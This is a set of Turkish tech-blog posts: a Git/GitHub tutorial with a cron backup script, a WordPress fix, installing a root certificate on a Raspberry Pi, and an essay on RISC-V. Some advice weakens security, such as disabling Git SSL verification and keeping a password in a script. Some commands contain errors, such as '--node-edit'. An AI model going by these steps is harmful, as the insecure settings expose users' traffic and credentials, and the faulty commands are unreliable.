Değişiklikleri geri almanın bir diğer yolu da revert işlemidir. Bunun öncekinden farkı yapılan geri döndürme commit tarihçesinde görünür ve tekrar ileri almaya izin verir. Örneğin son commit’den sonra bir dosyanın bir satırında yaptığınız değişikliği geri almak istiyorsunuz. Aşağıdaki gibi gerçekleştirebilirsiniz. Bu yaptığınız revert işlemi kayıt altına alınacağı için tekrar ileri de gidebilirsiniz. no-edit ile revert işlemi uygulanan commit’in comment’ini düzenlemeyeceğiz.

git revert 67a1c1 --node-edit

Commit’leri kim yapmış

Birden fazla kişinin çalıştığı projelerde commit’leri kimin yaptığını belirleyebilmek için herbir kişi kendi projesine aşağıdaki gibi bilgilerini tanımlayabilir. Bu bilgileri daha sonra değiştirmek isterseniz git config –global –edit komutunu kullanabilirsiniz.

git config --global user.name "enseitankado"
git config --global user.email "[email protected]"

Projenizde yaptığınız tüm commit’lerin listesini görmek için aşağıdaki komutları kullanabilirsiniz. İkinci komut tek satırda listeleme yapar. Üçüncü komut ise yapılan değişiklikleri detaylı olarak gösterir. Hangi dosyanın hangi satırı nasıl değişmiş gibisinden.

git log
git log --pretty=oneline
git log -p

Güzel bir log komutu daha var oda git reflog. Reflog projemizde yaptığımız commit, merge ve revert gibi işlemlerin bir listesini ve herbir işlemin referans numarasını sunar.

git reflog

Uzak depoyu (remote repo) yerel depoya klonlayıp geliştirmeye devam etmek

Hali hazırda sahibi olduğumuz uzak bir depoyu yerele çekerek kodlarımızı geliştireceğiz ve tekrar uzak depoya yükleyeceğiz. Bunun öncelikle uygun bir dizine geçip aşağıdaki clone komutu verin. Proje için yeni bir dizin oluşturmanıza gerek yok, clone zaten orjinal adıyla yeni bir dizin oluşturacak.

git clone https://github.com/enseitankado/ss963-spi-tool.git

Bu komuttan sonra tüm proje ss963-spi-tool adlı dizine çekilecek ve takip için .git dizini de içine oluşturulacak. Şimdi uzak depo adresimizi aşağıdaki gibi tanımlayalım:

git remote add origin https://github.com/enseitankado/ss963-spi-tool.git

Kodlarımızı geliştirdikten sonra herşeyi takip listesine almak için;

git add .

Yaptığmız değişiklikleri yerel depomuza commit etmek için de;

git commit

Şimdi de yerel depomuzu uzak depoya güncellemek için aşağıdaki komutu verin.

git push

Hepsi bukadar. Artık uzak depoda bir yedeğimiz var ve her iki tarafta da istediğimiz zaman geri dönebileceğimiz bir commit’e sahibiz.

GitHub’ın bazı özellikleri

Yazının başında GitHub’a alternatif olarak GitLab ve BitBucket gibi sitelerin olduğunu söylemiştim. GitLab ve BitBucket ile bir deneyimim olmadığından onlar hakkında birşey söyeyemiyorum ama GitHub’ın ilk başta farkedilmeyen bazı güzel özelliklerini ve ekran konumlarını aşağıda listelemeye çalışacağım.

  • Projeniz için Wiki ortamı sağlar.
  • Proje sayfanıza sponsor butonu ekleyerek finansal destek sağlayabilirsiniz.
  • Projeniz kullanıcıların sorun bildirmesi için Issue (sorun) takip sayfası ekleyebilirsiniz.
  • Projenizin bağımlılıklarını takip edebilir ve proje kodlarınızdaki güvenlik zafiyetlerini raporlayabilir.
  • Github üzerinde bir kaynak kod sayfasını görüntülediğinizde, fare ile kodda kullanılan fonksiyonların üzerine gelerek fonksiyonun projede nerelerde tanımlandığını ve çağrıldığını (referans verildiğini) bir popup içinde görebilirsiniz.

Bazı dizin ve dosyaları hariç tutmak

Proje dizininizdeki bazı dosya ve dizinlerin hiçbir şekilde depoya ya da commit’lere dahil olmasını istemiyor olabilirsiniz. Bu tür dosya/dizinleri .gitignore dosyası içinde tanımlayabilirsiniz. Özellikle dosya ve dizinleri topyekün eklediğimiz add . kullanımlarında böyle bir ihtiyacın oluşması muhtemeldir. Eklemek istemediğiniz özel dosyalar yada gereksiz yere depoyu şişirebilecek kütüphaneler ya da sonraki revert’lerde uyumsuzluk yaratabilecek birşeyler olabilir. Özetle eklemek istemediğiniz dosya ve dizinleri proje dizininde .gitignore adlı bir dosya oluşturun ve içerisine aşağıdaki gibi ekleyin.

Desen Örnek Kapsam Açıklama
**/logslogs/debug.log
logs/monder/foo.bar
build/logs/debug.log
Çift yıldız ile herhangi bir dizin tanımı yapılır. logs ismindeki tüm dizinler hariç tutulur.
**/logs/debug.loglogs/debug.log
build/logs/debug.log
fakat şunu seçmez:”
logs/build/debug.log
Çift yıldızı yukarıdakine benzer olarak dosyalar içinde kullanabilirsiniz. Bu örnekte proje dizin ağacının herhangi bir yerinde logs adlı bir dizinin altında bulunan debug.log hariç tutulmuştur.
*.logdebug.log
foo.log
.log
logs/debug.log
Proje dizin ağacının herhangi bir yerinde uzantısı .log olan tüm dosyalar hariç tutulmuştur.
*.log
!important.log
debug.log
trace.log
fakat şunu seçmez:
important.log
logs/important.log
Bu kullanımda yukarıda açıklanan kapsamdan importan.log hariç tutulmuştur. Yani, importan.log haricindeki tüm log dosyaları indekse alınmaz.
debug.logdebug.log
logs/debug.log
Proje dizin ağacının herhangi bir yerindeki debug.log dosyaları hariç tutulur.
/debug.logdebug.log
fakat şunu seçmez:
logs/debug.log
Sadece proje ana dizinindeki debug.log dosyasını hariç tutar.
.gitignore dosyasının kullanımına dair bazı örnekler

.gitignore‘da kullanılabilecek dosya tanımlama desenlerinin kapsamlı bir listesine buradan erişebilirsiniz. Ben de yukarıdaki örnekleri buradan derledim.

Yukarı paragraftaki anlatım tek bir depodaki (ya da proje dizinindeki) dosyaları hariç tutmak üzerineydi. Bilgisayarınızdaki tüm depolarınız için ortak bir .gitignore oluşturmak isterseniz bu dosyayı home dizininizde oluşturun ve aşağıdaki komutla global olarak işleme konulmasını sağlayın.

git config --global core.excludesfile ~/.gitignore

.gitignore çalışmıyor mu?

Bazen .gitignore dosyasının görevini yapmadığı durumlarla karşılaşabilirsiniz. Bunun ençok karşılaşılan nedeni; hali hazırda takip listesinde var olan(git add .) bir dizini/dosyayı hariç tutmaya çalışmaktır. Hariç tutmak istediğiniz dosyaları gitignore’a sonradan eklerseniz .gitignore görev yapmaz. Çünkü Git takip listesine öncelik verir. Hariç tutulmasını istediğiniz dosya/dizinleri takip listesinden çıkartırsanız .gitignore dosyası dikkate alınmaya başlanacaktır. Dosyaları teker teker takip listesinden çıkartmak yerine, önce projenizdeki tüm dosyaları takip listesinden çıkartın ardından tekrar ekleyin.

git rm -rf --cached .

Yukarıdaki komuttan sonra projedeki tüm dosyalar takipten çıkartılır. Şimdi ise her zamanki gibi tüm dosyaları yeniden takip listesine almak için git add . komutunu verebilirsiniz. Bu sefer Git takip listesine ekleme sırasında .gitignore’da tanımladığınız girdileri dikkate alarak onları eklemeyecektir.

git add .

Git yapılandırmaları (config)

Yazının değişik kısımlarında git’in çeşitli yapılandırma seçeneklerinden bahsetmiştim. Bu başlıkta ise fazlaca açıklamaya gerek duymayan bazı küçük config ayarları hakkında kısa bilgiler vereceğim.

“Unable to … Git repository due to self signed certificate” hatası GitHub sunucusu ile güvenli kanaldan iletişim (SSL) kurulamadığında oluşur. Hataya göre istemcide yüklü sertifika güvenilir kaynak tarafından doğrulanamamış gözüküyor. Bu hata SSL filtreleme kullanan güvenlik duvarlarının çalıştığı kurumsal ağlarda veya güncel olmayan istemciler kullanıldığında gerçekleşir. Aşağıdaki ayar ile Git istemcisinin SSL doğrulaması yapmamasını sağlayabilirsiniz. Bu durumda depo ile yerel bilgisayarınız arasındaki iletişimin araya giren kişi tarafından görülebileceğini/elde edilebileceğini unutmamak gerekir.

git config --global http.sslVerify false

Yedeğin yedeği: GitHub depolarını yedeklemek

GitHub’ı sürüm yönetimi için hem bir uzak depo hem de bir yedekleme ortamı olarak kullanıyorsanız size bir tavsiyem daha olacak. Her zaman yedeğin yedeğini de bulundurmalısınız. GitHub hesabınız hacklenebilir, GitHub, donanım arızası yaşayabilir. Bir nedenden hesabınızı kapatabilirler.

Peki, herşey public/private github depolarınızda duruyorsa bunları da bir çırpıda yedekleyip biryerlere atsak güzel olmazmıydı. Bunu yapabilen github-backup adında bir python betiği var. Betiğe gerekli parametreleri geçirip crontab’a ekleyerek tüm github depolarınızın otomatik olarak yedeklenmesini sağlayabilirsiniz. Elimizde apt-get/apt paket yöneticisi kullanan bir Linux dağıtımı olduğunu varsayıyorum. Buna göre python aracını kurmak için aşağıdaki komutları verin. İlk komut paket listemizi güncelleyecek. İkinci komut pip aracını kuracak, son komut ise github-backup’ın kurulabilmesi için gerekli araçları yükleyecek.

sudo apt update
sudo apt install python-pip
sudo apt install python-setuptools

Şimdi sıra geldi python betiğini yüklemeye. Aşağıdaki komutu vererek yükleyebilirsiniz.

pip install github-backup

Bu betiğin parametrelerini görmek için -h seçeneğini kullanabilirsiniz. Basitçe github hesabınızdaki tüm depoları yerele yedeklemek için aşağıdaki komutu girebilirsiniz. Sondaki –private (-P) seçeneği private olarak oluşturulmuş depoları da yedeğe dahil eder.

github-backup -u <github_kullanici_adiniz> -p <github parolanız> -o <yedek_dizini> --all --private

Aşağıda her gece 05:00’da tüm github hesabımızı günün tarihi ile yedekleyen ve tar.gz olarak sıkıştıran bir betik ve betiğe ait crontab girdisi yer alıyor. Cronjob’ımız işlemlerin çıktısını output.txt’ye kaydediyor ve aynı zamanda yedekleme işleminin ekran çıktısını mail olarak gönderiyor. Betik ayrıca en yeni 10 yedeği muhafaza edip gerisini siliyor. Siz kendinize göre düzenleyebilirsiniz.

0 4 * * * /root/github_backup.sh 2>&1 | tee output.txt | mail -s "github_backup.sh OUTPUT" [email protected]

github_backup.sh dosyamızın içeriği:

#Depolari gecici dizine yedekle
mkdir /root/github_tmp
github-backup <github_kullanici_adi> -u <github_kullanici_adi> -p <github_kullanici_parola> -o /root/github_tmp --all --private

#Gecici dizini zaman bilgisi ile arsivle
tar -Pzcf /root/rbackup/github_backup_$(date +%y-%m-%d_%H-%M-%S).tar.gz /root/github_tmp

#Gecici dizini sil
rm -rf /root/github_tmp

#En yeni 10 arsivi birak gerisini sil
ls -1tr github_backup_*.tar.gz | head -n -10 | xargs -d '\n' rm -f --

Windows’da işler nasıl?

Git ile ilgili buraya kadar anlatttıklarımın aynısını Windows ortamında da gerçekleştirebilirsiniz. Bunun için git aracının Windows sürümünü indirip kurmanız yeterli. https://gitforwindows.org/ adresindeki setup’ı indirip kurduktan sonra sağ context menüye Git Gui Here ve Git Bash Here adından iki seçenek eklenir. İkinci seçenek ile burada anlattıklarımın aynısını uygulayabilirsiniz. Bir dizine sağ tıklatıp Git Bash Here seçeneğini seçerseniz proje dizininde aynı komutları kullanabileceğiniz bir Linux terminal emülasyonu açılır. Gui ise terminal de yaptığımız işlemleri bir Windows uygulaması ile yapmak içindir. Ama biz klavyenin kıymetinin ve havasının farkında olan insanlar olarak GUI’ye topyekün karşıyız. Şaka :)

Kaynaklar

Ali Özgür – Git 101 – https://aliozgur.gitbooks.io/git101/

Pro Git – https://git-scm.com/book/en/v2

Rebase komutunun ve işlevinin anlatıldığı güzel bir yazı:
https://medium.com/@aliustaoglu/git-cakismalarini-gidermenin-etkili-yollari-91b1160ce2e9

Git Dersleri – https://www.mobilhanem.com/git-egitimi/

Git Basit Rehber – https://rogerdudler.github.io/git-guide/index.tr.html

Git CheatSheets (Kopya kağıtları) – Google Araması


Wordress “WordPress Missing Temporary folder” Hatasının Giderilmesi

Mesajda WordPress geçici dosyaların depolandığı dizine ulaşamıyor diyor. Bu dizin genellikle /tmp (root dizin altında). Eğer benim gibi Apache’nin VirtualHost/Directory direktifine php_admin_value open_basedir seçeneğini eklediyseniz hiçbir PHP bu dizinin dışına çıkamayacak ve WordPress doğal olarak bu hatayı verecektir.

Çözüm için;

  1. Directory direktifi olarak şunu ekleyin:
    php_admin_value upload_tmp_dir “/home/XXXX/www/wp-content/temp”
  2. Yukarıdaki patikayı XXXX‘i kendinize göre düzenlemeyi unutmayın.
  3. Patikanın işaret ettiği temp dizinini oluşturun ve erişim izinlerini ayarlayın.
  4. chown ve chmod ile sahiplik ve erişim izinlerini komşu dizin ile aynı yapın yeterli olacaktır.
  5. Artık sıra WordPress’e geçici dosyalar için bu temp dizini kullanması gerektiğini söylemeye geldi. wp-config.php dosyasına şu satırı ekleyin:
    define(‘WP_TEMP_DIR’, dirname(FILE) . ‘/wp-content/temp/’);
  6. Ayarların geçerli olması için Apache’yi yeniden başlatın:
    sudo systemctl restart apache2

Raspberry Pi’a (Linux) MEB Kök Sertifikası Nasıl Yüklenir?

SSL (Secure Socket Layer), https gibi güvenli iletişim protokollerinin kullandığı şifreleme altyapısını sağlar. Güvenli bir protokol kullanarak gerçekleştirilen iletişim, her iki tarafta da (istemci ve sunucu) şifrelenerek aktarılır. Bunun için asimetrik şifreleme adı verilen bir yöntem kullanılır. Bu yönteme göre; özel ve açık anahtar adı verilen iki adet anahtar üretilmiştir. Açık anahtar herkesçe erişilebilirdir ve şifrelenmek istenen veri henüz istemci tarafında iken bu anahtar ile şifrelenerek gönderilir. Bu anahtarın şifrelediği veriyi sadece özel anahtar açabilir.

Diğer çağdaş işletim sistemlerinde olduğu gibi, Raspbian dağıtımı ile de dünyada en çok itibar gören yani güvenli kabul edilen açık anahtarlar yüklü olarak gelir. Bu anahtarlar sertifika adı verilen dosyalar içinde kayıt edilmiştir (uzantıları cert, crt, pem olabilir). Sözünü ettiğim sertifikaların bulunduğu dizin /etc/ssl/certs’dir. Dilerseniz bu sertifikaların depolandığı dizine yeni sertifikalar da yükleyebilirsiniz. Ancak yüklediğiniz sertifikanın güvenilir bir kaynaktan geldiğine emin olmalısınız. Ne de olsa yükleyeceğiniz bu sertifika açık ağlar üzerinde seyahat edecek olan verilerinizi şifrelemek için kullanılacak. Aksi takdirde iletişiminizin arasına giren bir saldırgan (MITM saldırı yöntemi) tüm verilerinizi deşifre edebilir ve ele geçirebilir.

Yüklemek istediğiniz sertifikanın uzak bir web sunucusunda bulunduğunu varsayarsak, öncelikle Raspberry Pi bilgisayarına indirilmesi gerekir:

[email protected]:~ $ cd /etc/ssl/certs
[email protected]:~ $ sudo su

[email protected]:~ # wget http://sertifika.meb.gov.tr/MEB_SERTIFIKASI.cer

Yukardıdaki gibi MEB_SERTIFIKASI.cer adlı sertifikanın Raspberry Pi bilgisayarında kullanılabilmesi için pem (base64) biçimine dönüştürülmesi gerekir bunun için  aşağıdaki komutu kullanabilirsiniz:

[email protected]:~ # openssl x509 -inform der -in MEB_SERTIFIKASI.cer  -out MEB_SERTIFIKASI.pem

Pem dosyası oluşturulduktan sonra cer dosyasını silebilirsiniz. Yeni yüklenen sertifikaların ağ bağlantısı ile çalışan programlar tarafından kullanılabilmesi için sertifikalara ait sembolik linklerin yeniden oluşturulması gerekir.

[email protected]:~ # rm -rf *.cer

[email protected]:~ # update-ca-certificates -f

Bu sertifika gerektiğinde ilgili istemci program tarafından otomatik olarak kullanılacak ve veri trafiği sadece uzak sunucunun çözebileceği şekilde şifrelenecektir. Tekrar hatırlatmak gerekirse; sertifikaların güvenli bir kaynaktan geldiğinden emin olmalısınız, çünkü sertifikayı oluşturan kuruluş (yani özel anahtarına sahip olan kuruluş) tüm şifreli trafiğinizi açık olarak görebilir. Bu (kök sertifika yükleme işlemi) genellikle güvenli internet bağlantılarının incelenmek/filtrelenmek istendiği güvenlik duvarı uygulamalarında kullanılır.

 

Assembly Programlama Dili (eKitap )

Bu dokümanda Fehmi Noyan İSİ tarafından hazırlanan, Intel firmasının 80×86 serisi olarak nitelendirilen 8086, 80186, 80286, 80386,
80486 ve Pentium işlemcileri için 16-bit Assembly programlama dili genel yapısı ile anlatılacaktır . Bu sebepten, dokümanda sadece 8086, 80186 ve 80286 (Intel firmasının 16-bit işlemcileri) işlemciler için assembly dili anlatılacaktır. Örnekler MS-DOS işletim sistemi için yazılmıştır. Windows işletim sistemi için assembly programlama 32-bit olup bu dokümanda ele alınmayacaktır. Dokümanda bulunan “Linux Altında Assembly Dili” bölümünde, Linux işletim sistemi altında assembly dilinin kullanımı anlatılmaktadır. Assembly programlama dili ile ilgili elinize geçecek birçok kaynakta bazı temel terim ve ifadeler sürekli orijinal İngilizce halleriyle kullanıldıkları için ben de birçok terimin ve ifadenin Türkçe karşılığını kullanmadım. Bu, bazı durumlarda anlatımı biraz vasatlaştırmışsa da kavramların çok bilinen adları ile öğrenmenin daha faydalı olacağını düşünüyorum.

Kendi Linux Dağıtımınızı Oluşturun (LFS – Türkçe Dökümanı)

Linux From Scratch (LFS), Linux işletim sistemin gerekli bileşenlerini bir araya getirerek, yalnızca kullanım amacına yönelik yeni bir işletim sistemi oluşturmaişlemidir.Bu sayede, Linux dağıtımları ile birlikte gelen ve son kullanıcı tarafından kullanılmayacak programlar ve işlevlerin de işletim sistemi içerisinde yer almaması, böylece de performans ve sabit disk üzerinde kaplanan alan açısından da avantaj sağlanmış olmaktadır.Özellikle web sunucusu, dosya sunucusu, e-posta sunucusu, DHCP sunucusu gibi belirli bir amaca hizmet eden bilgisayarlarda üzerinde sadece ilgili programların olduğu bir işletim sistemi kullanmak bu açıdan faydalı olacaktır.

Bu çalışmada temel seviyede Linux bilgisi olan kullanıcılar için LFS işleminin nasıl gerçekleştirileceği, LFS kitabındaki detaylara girilmemesine karşın, sadece en temeli şlemler adım adım anlatılmıştır.Bu konuda temel kitap niteliği taşıyan Gerard Beekmans‟in Linux From Scratch kitabı daha çok ileri seviye kullanıcıları hedef alan bir kitaptır ve bu çalışmada yer alan Automated Linux From Scratch (ALFS) işlemleri temel LFS üzerinden anlatmaktadır. Çeşitli internet sitelerinde ALFS ile ilgili açıklamalar yer almış olsa da bu çalışmanın amacı, LFS konusunda Türkçe bir kaynak sağlamak, bu konudaki çeşitli çalışmaları bir araya toplamak ve temel seviyedeki kullanıcıların da LFS ile kendi ihtiyaçlarına yönelik bir işletim sistemi yapabilmelerini sağlamaktır ve sonuçta da sadece web sunucusu özelliği olan bir Linux işletim sistemi hazırlamaktır.

Çalışma öncesinde, öncelikle temel Linux bilgisi için bir çalışma yapılmış, Gerard Beekmans‟in Linux From Scratch 6.3 kitabı okunmuş ve ALFS ve LFS konusunda internet üzerinde genel bir araştırma yapılmıştır.Temel Linux bilgisi, yapılan işlemlerin ne işe yaradığı ve işlemler sırasında kullanılan komutları anlamak, LFS kitabı ise işlemlerin neler olduğunu öğrenmek ve konu hakkında ayrıntılı bilgi sahibi olmak, internet araştırması ise bu konuda daha önce yapılan çalışmaların incelenmesi ve konu hakkında daha çok fikir sahibi olmak açısından önem taşımaktadır.

Dökümanı (PDF) indirmek için aşağıdaki bağlantıyı kullanabilirsiniz.

 

RISC-V Komut Seti Mimarisi (ISA) Hakkında birkaç kelam

Yazmakta olduğum kitabıma (şuanki ismi Raspberry Pi ile Linux ve Elektronik Uygulamaları) ARM ile ilgili birkaç kelam eklerken karşılaştığım açık kaynak işlemci komut seti mimarisi olan RISC-V hakkında bazı yorumlarımı ve bilgileri paylaşmak için bu kısa notu yazıyorum. Önce kitabıma ARM hakkında ne yazmıştım onu vereyim:

ARM bilinenin aksine bir işlemci üreticisi değildir, daha çok gömülü sistemler için düşük güç tüketimine sahip RISC mimarisinde çalışan işlemci tasarımları yapar. ARM limited şirketi bu tasarımlarını lisans ücretleri karşılığında çeşitli sistem çipi (SoC) üreticisi firmalara satar (örn: Qualcom, Broadcom, NXP vb.). 1980’lerin başından beri farklı üreticiler tarafından yüzlerce ARM tasarımlı işlemci ürelmiştir. Günümüzde kişisel bilgisayarların (PC) dışındaki sistemlerde (mobil ve gömülü sistemler) kullanılan işlemcilerin %98’i ARM tabanlıdır yani en basit tabiri ile ARM firmasının tasarladığı komut kümesi ile uyumludur. ARM tabanlı belli başlı işlemci/SoC üreticileri Apple, NVidia, Qualcom ve Samsung’dur.

RISC-V Açık Kaynak İşlemci Mimarisi

ARM’dan bahsetmişken RISC-V (Risk-Beş) adlı yeni işlemci mimarisinden ve onu hayata geçiren topluluktan da bahsetmeden geçmeyelim. ARM’ın RISC işlemci pazarında sahip olduğu hâkimiyet ve lisans sınırlamaları, tıpkı yazılım dünyasında olduğu gibi kendini açık kaynak bir işlemci tasarımında da göstermiştir. Yüzlerce organizasyonun ve şirketin desteği ile geliştirilen RISC-V, herhangi bir firmaya bağlı olmayan ortak akılla geliştirilen bir işlemci mimarisi ortaya koymayı amaçlıyor. Destekçileri arasında ASELSAN’ın da olduğu işlemci tasarımının ilk modelleri FPGA üzerinde üretilmiş durumda. RISC-V yaygın bir kullanım bulduğunda donanım fiyatlarının düşeceğini ve işlemci kullanan sistemlerin başarımlarının artacağını tahmin etmek hayalci olmaz. RISC-V gibi bir projenin neden var olduğundan bahsetmek gerekirse;


Bilinen her büyük işlemci üreticisi kendi tasarımlarını kullanmaktalar. Her firmaya özel tasarım, işlemciler arasında bir standardizasyonun oluşamamasına, bu da işlemci üreticilerine bağımlı platformların oluşturduğu sınırlılıkların kullanıcıların zararına (hem maliyet hem de nitelik olarak) olmasına neden oluyor. RISC-V projesinin çıkış nedenlerinden biri de; AMD ve Intel gibi üreticilerin işlemci geliştirirken komut çalıştırma biriminin haricindeki birçok birimle de uğraşmak zorunda oldukları. Örneğin işlemcinin içerisine dâhili olarak eklenen h.264 kod çözücü, şifreleme, sanallaştırma, ses ve görüntü işleme gibi modüller. Bu da işlemcilerin komut mimarisi ile ilgili birimlerine yeterince geliştirme çabası ayrılamamasına neden oluyor. RISC-V projesi amacına ulaştığında, komut mimarisi yönünden gelişmiş ve her zaman geliştirilmeye açık bir işlemci tasarımı ortaya çıkacak, hem işlemcilerin başarımı artacak hem de ortak bir işlemci komut setinde buluşulması sağlanacak.

İşlemcinin ortak akılla geliştirilmesinin sağlayacağı bir özellik de, çoğu kişi tarafından bir NSA arka kapısı olarak görülen ve işlemcinin tasarımından kaynaklı bir güvenlik zafiyeti olan meltdown ve specter zafiyetleri.

FPGA sistemler içerisindeki milyonlarca elektronik elemanı programcısının tasarladığı şekilde bağlantılayarak bir donanım üretilmesini sağlıyor. Tasarlanan şey bir elektronik donanım  olduğundan bir yazılımın yapabileceğinden çok daha yüksek hızda bu görevi donanımsal olarak yerine getiriyor. Bu FPGA sistemler tek seferlik bir kullanıma sahip değil üzerindeki tasarım temizlenerek yeni bir devre tasarlanabiliyor. FPGA’lerin oldukça yüksek hızlara çıktığı günümüzde RISC-V açık işlemci mimarisini kullanılarak herkesin kendi işlemcisini üretmesi mümkün olacak. Hatta bu işi sipariş üzerine yapan sifive adından bir firma da var. İlerde bir firmware update indirir gibi işlemcinizi daha hızlı bir işlemci ile değiştirebildiğinizi düşünün. Bunun internetten indirdiğiniz birkaç kb’lık bir dosya ile yapabileceksiniz.

Sun Micro Systems’ın buna benzer bir açık kaynak işlemci tasarımı vardı (SPARC) fakat daha sonra Oracle tarafından satın alındıktan sonra bu açık olma özelliği rafa kaldırıldı. Bu açıdan da dünyanın ortak akılla geliştirilen bir işlemci komut seti mimarisine (ISA) ihtiyacı var. Bu teknolojinin dolayısıyla insanlığın gelişiminin önündeki engellerden birini kaldıracaktır. Açık kaynak ve onu destekleyen topluluklar dünyamızı hergün daha güzel bir yer yapan işler çıkartıyorlar. Açık kaynak işlemci modelinde yeterince geç kalınmıştı.

Vakıf projenin tüm dökümanlarının ve kaynak kodlarını yayınladı fakat henüz bir ticari şirket gerçek anlamda bir CPU işine girişmedi. Şirketler uzun yıllar kullanılacak bir ürünün tam olarak oturmasını ve denenmesini beklerler. Ayrıca vakfın yönetmeliğine göre tasarım modelinde yapılacak değişiklikler vakıfa ücretli üye olan katılımcıların onayına tabi. Yani tasarımda bir değişiklik yapılacağında veya RISC-V uyumlu ticari bir ürende logo kullanmak gerektiğinde ASELSAN’ın da oy hakkı var.


RISC-V gibi tamamen açık kaynak bir ISA’nın geliştirilmesi ile birçok programatik ve donanımsal süreç tam bir şeffaflık kazanacak. ARM mimarisinin lisans ücretini ödeyerek satın alan bir işlemci üreticisi ARM ile çok ciddi yaptırımları olan lisans anlaşmaları yapılıyor. Mesela bu üretici ARM komut setinin detaylarını içeren dökümantasyonu kesinlikle dışarı çıkaramaz. Diğer taraftan, kapalı yürüyen bu işler sırasında, ARM yapacağı yenilikler veya iyileştirmeler hakkında kimse ile bir bilgi paylaşmıyor. Bu işlemci ve donanım üreticileri için geleceği görmek açısından çok can sıkıcı bir durum. RISC-V bu sözünü ettiğim duruma da çözüm sağlamış oluyor.

RISC-V’in geliştirmesi yapılırken 128bit’lik adresleme uzayı hedef alınarak çalışılıyor. İleride artan bellek miktarları için onu adresleyebilecek genişlikte bir adres yoluna ihtiyaç olacak. Henüz pratikte bu tarz konularla ilgili fazla deneyim yok ama 128bit dönemeci oldukça parlak bir gelecek vaad ediyor. 128bit ile 64bit arasındaki farkın tam olarak “18.446.744.073.709.551.616” (OnSekizKentilyon DörtYüzKırkAltıKatrilyon YediYüzKırkDörtTrilyon YetmişÜçMilyar YediYüzDokuzMilyon BeşYüzElliBirBin AltıYüzOnAltı) kat olduğu düşünülerse RISC-5 tasarımının ne derece gelecek vizyonu ile devam ettiği güzel anlaşılabilir.

Aslında RISC-V’den bahsederken tam olarak bir işlemciden bahsetmiyoruz. ISA (Instruction Set Artitecture) yani komut seti mimarisi, hangi komutların olacağını, özelliklerinin ne olacağını, girdileri çıktıları birbirleriyle programatik ilişkilerinden bahsediyoruz yani bir bilgisayar programının en küçük parçaları olan komutlar ve onları işlerlik kazandıran donanımsal tasarımdan. Mesela basit bir Mov komutu (iki hafıza konumu arasında kopyalama yapar) ARM veya Intel’de aynı şekilde işlemez. Donanım kısmında farklılıklar vardır. Komut daha da kompleksleştiğinde bu farklılıklar inanılmaz hale gelir. Bu nedenledirki donanım platformuna özel işletim sistemleri ve aynı şekilde programlar yazılması gerekir. Şuan GCC GNU derleme araçları içerisine RISC-V implemente edildi ama işlemci spesifik komutlar icra eden programlar için yapacak birşey yok, o spesifik kısımların RISC-5 modeline göre yeniden kodlanması gerekecek.

RISC-5 yazılımdan ve donanımdan bağımsız bir mimari öngörüyor. Bir arduino için yazdığınız kodun intel bir işlemcide doğrudan çalışabildiğini düşünün ya da bir Apple işlemcisinde çalışmak üzere derlenmiş bir kodun ARM işlemci üzerinde çalıştığını. Bu şekilde ta donanım tabanında ortaklaşmak hem işletim sistemleri hem de onların üzerinde koşan yazılımlar için esneklik getirecek ve hareket alanını genişletecek. Ticari üreticilerin kendi mikromimari ve teknoloji bağımlı özelliklerinin sınırlılığından kurtulunacak. Tabana yayılacak, Zeki Müren’in de bizi görmesi sağlanacak.

Donanım ve işletim sistemi üreticilerinin ticari ve lisanssal sınırlılıklar yüzünden başaramadığı standartlaşamama sorunu ortadan kalkarak tüm ortak aklın “sonuç işe” odaklanmasını sağlayacak. Donanımın apple, intel veya amd olması ya da işletim sisteminin windows, mac, Linux
vb gibi olması son kullanıcıyı çok ilgilendirmez. Son kullanıcı kullanmakta olduğu yazılımın işini hızlı ve düzgün yapmasını bekler. Yani işlemci tasarımındaki ortaklaşmayla donanım ve işletim sistemi platformları arasındaki farklar ortadan kalkacak tüm enerji son kullanıcının işine yarayan yazılımlara kayacak.

RISC-V tabanlı donanımlar üzerinde çalışan firmalardan birinin CEO’su ARM’ın günlerinin sayılı olduğunu ve ARM’a bu iş modeli ile giderse 5 yıl ömür biçiyorum gibi iddialı bir yorumda bulunmuş olması doğru yolda olunduğunun göstergesi. CEO, ARM’ın üretim politikalarının açık kaynak mimari ile karşılaştırıldığında sınırlı bir esnekliğe sahip olduğunu, zaman ve maliyet baskısı altındaki piyasaların lisens kuralları ile vakit kaybedemeyeceğini söylüyor.

 

 

https://www.sifive.com/boards

RISC-V komut seti mimarisini kullanan işlemci tasarımları üretildi. 64 bitlik Berkeley Sıra Dışı Makine (BOOM), 64 bitlik Roket, [20] Berkeley’den beş adet 32 ​​bitlik Sodor CPU tasarımını içeren, açık kaynaklı RISC-V işlemci tasarımları var. picorv32, Clifford Wolf, Syntacore’dan scr1, ETH Zürich / Bologna Üniversitesi’nden PULPino (Riscy ve Zero-Riscy) ve diğerleri. Üç aşamalı Sodor CPU, küçük bir gömülü CPU için uygun görünmektedir. Roket, kişisel cihazlar gibi kompakt, düşük güçlü ara bilgisayarlara uyabilir. BOOM, Rocket için oluşturulan altyapının çoğunu kullanır ve kişisel, süper bilgisayar ve depo ölçekli bilgisayarlar için kullanılabilir. Hem picorv hem de scr1, Verilog’da 32 bitlik mikrodenetleyici ünite (MCU) sınıfı RV32IMC uygulamalarıdır. PULPino’daki çekirdekler, mikro denetleyiciler (Zero-Riscy) için basit bir RV32IMC ISA veya gömülü sinyal işleme için özel DSP uzantıları olan daha güçlü bir RV32IMFC ISA uygular.

Son olarak komut seti mimarisi (ISA) açısından açık kaynak olunmasının sağladığı avantaj ve dez avantajların listelendiği şu tabloyu paylaşarak bitirmek istiyorum.

 

Fotoğraflarla bilgisayarın tarihi görseli/infogram’ı (3.8m X 0.8m)

bilgisayarın tarihi gelişimi görseli
Bilgisayarın tarihi gelişimi görseli 382cm x 80cm (3.8m x 0.8m) ölçülerinde

Bilişim Teknolojileri Öğretmeni Güven Demir tarafından tasarlanmış olan infogram’ın, PSD (photoshop kaynak dosyası) boyutu çok fazla olduğu için (1.41GB) ancak JPG halini paylaşabiliyorum.

PHP: Single File Audio Player

Tek Dosya PHP Ses Yürütücüsü, tarayıcı, çalma listesi ve arama yapısı ile sezgisel bir tarayıcı tabanlı ses çalardır. Yapılandırma veya programlama becerisine gerek duymaz. Müziğinize harika duyarlı bit HTML5 oynatıcı sunmak için dosyanın bir kopyasını web sunucunuza kopyalamanız yeterlidir.

Projenin sayfasına gitmek için buraya demo için buraya tıklayınız.

PHP: Single File PHP Gallery

